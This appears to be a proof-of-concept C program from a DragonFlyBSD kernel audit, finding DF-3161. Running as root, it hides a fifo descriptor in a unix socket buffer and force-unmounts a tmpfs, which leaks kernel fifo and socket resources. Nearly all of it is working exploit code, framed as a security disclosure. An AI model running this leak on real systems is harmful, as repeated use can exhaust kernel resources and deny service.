⬢ DragonFlyBSD Kernel Audit
DF-3161 / umount_fifoleak_scmrights.c
← back to finding ↓ download raw
/*
 * DF-3161 PoC (deterministic variant): umount -f force-close loop never
 * passes FREAD -> fifo_close() cannot decrement fi_readers -> the
 * fifoinfo + connected AF_LOCAL socket pair are leaked permanently.
 *
 * Making the force-close path actually run requires an "open" fifo that no
 * process owns, so the umount retry loop's SIGINT/SIGKILL protocol
 * (sys/kern/vfs_syscalls.c:929-946) cannot close it and the retries
 * exhaust (50 x 0.25s); the mount is then ripped with the fifo still
 * open and vclean_vxlocked(DOCLOSE) runs its force-close loop
 * (sys/kern/vfs_subr.c:1341-1352), which never passes FREAD.
 *
 * Trick: send the fifo fd over a unix-domain socket (SCM_RIGHTS) and never
 * receive it - the fp (and its namecache ref onto the mount) is pinned by
 * the socket buffer, owned by no process.
 *
 * Must run as root. Expected: netstat -f unix stream-socket count stays +2
 * above baseline after umount -f + socket close (leak); a control fifo
 * closed normally returns to baseline.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static void
count_sockets(const char *tag)
{
	char cmd[128];
	FILE *f;
	int c;

	snprintf(cmd, sizeof(cmd),
		 "netstat -f unix 2>/dev/null | awk '$2==\"stream\"{n++}END{print n+0}'");
	f = popen(cmd, "r");
	if (!f || fscanf(f, "%d", &c) != 1)
		c = -1;
	if (f)
		pclose(f);
	printf("%s: %d stream sockets\n", tag, c);
}

int
main(void)
{
	const char *fifo = "/mnt/df3161b/f";
	const char *mp = "/mnt/df3161b";
	struct msghdr msg;
	struct cmsghdr *cmsg;
	struct iovec iov;
	char buf[CMSG_SPACE(sizeof(int))], dbuf[1];
	int sv[2], fd, n;

	if (getuid() != 0) {
		fprintf(stderr, "must be root\n");
		exit(2);
	}

	count_sockets("baseline");

	if (mkdir(mp, 0755) < 0 && errno != EEXIST) {
		perror("mkdir");
		exit(2);
	}
	if (system("mount -t tmpfs tmpfs /mnt/df3161b") != 0) {
		fprintf(stderr, "mount failed\n");
		exit(2);
	}
	unlink(fifo);
	if (mkfifo(fifo, 0600) < 0) {
		perror("mkfifo");
		exit(2);
	}
	/*
	 * O_RDWR: fi_readers=1, fi_writers=1, v_writecount=1.
	 * After the force-close loop, fi_writers will be decremented
	 * (FWRITE|FNONBLOCK pass) but fi_readers never is (no FREAD bit
	 * ever passed) -> fip leaks.
	 */
	fd = open(fifo, O_RDWR);
	if (fd < 0) {
		perror("open fifo");
		exit(2);
	}
	count_sockets("fifo-open (+2 expected)");

	/* hide the fd inside a unix socket buffer */
	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) {
		perror("socketpair");
		exit(2);
	}
	memset(&msg, 0, sizeof(msg));
	iov.iov_base = dbuf;
	iov.iov_len = 1;
	dbuf[0] = 'x';
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	msg.msg_control = buf;
	msg.msg_controllen = sizeof(buf);
	cmsg = CMSG_FIRSTHDR(&msg);
	cmsg->cmsg_level = SOL_SOCKET;
	cmsg->cmsg_type = SCM_RIGHTS;
	cmsg->cmsg_len = CMSG_LEN(sizeof(int));
	memcpy(CMSG_DATA(cmsg), &fd, sizeof(int));
	if (sendmsg(sv[0], &msg, 0) < 0) {
		perror("sendmsg");
		exit(2);
	}
	close(fd);		/* fp now pinned only by the socket buffer */
	printf("fifo fd hidden in unix socket buffer; nobody owns it\n");

	/* umount -f: 50 retries * 0.25s = ~12.5s, then mount is ripped */
	printf("umount -f %s (takes ~13s while retries exhaust)...\n", mp);
	n = system("umount -f /mnt/df3161b");
	printf("umount rc=%d\n", WEXITSTATUS(n));

	/* drop the socket holding the fp */
	close(sv[0]);
	close(sv[1]);
	sleep(2);
	count_sockets("after umount -f + close (leak: stays +2)");

	if (system("umount /mnt/df3161b 2>/dev/null") != 0)
		; /* already unmounted */
	printf("done\n");
	return (0);
}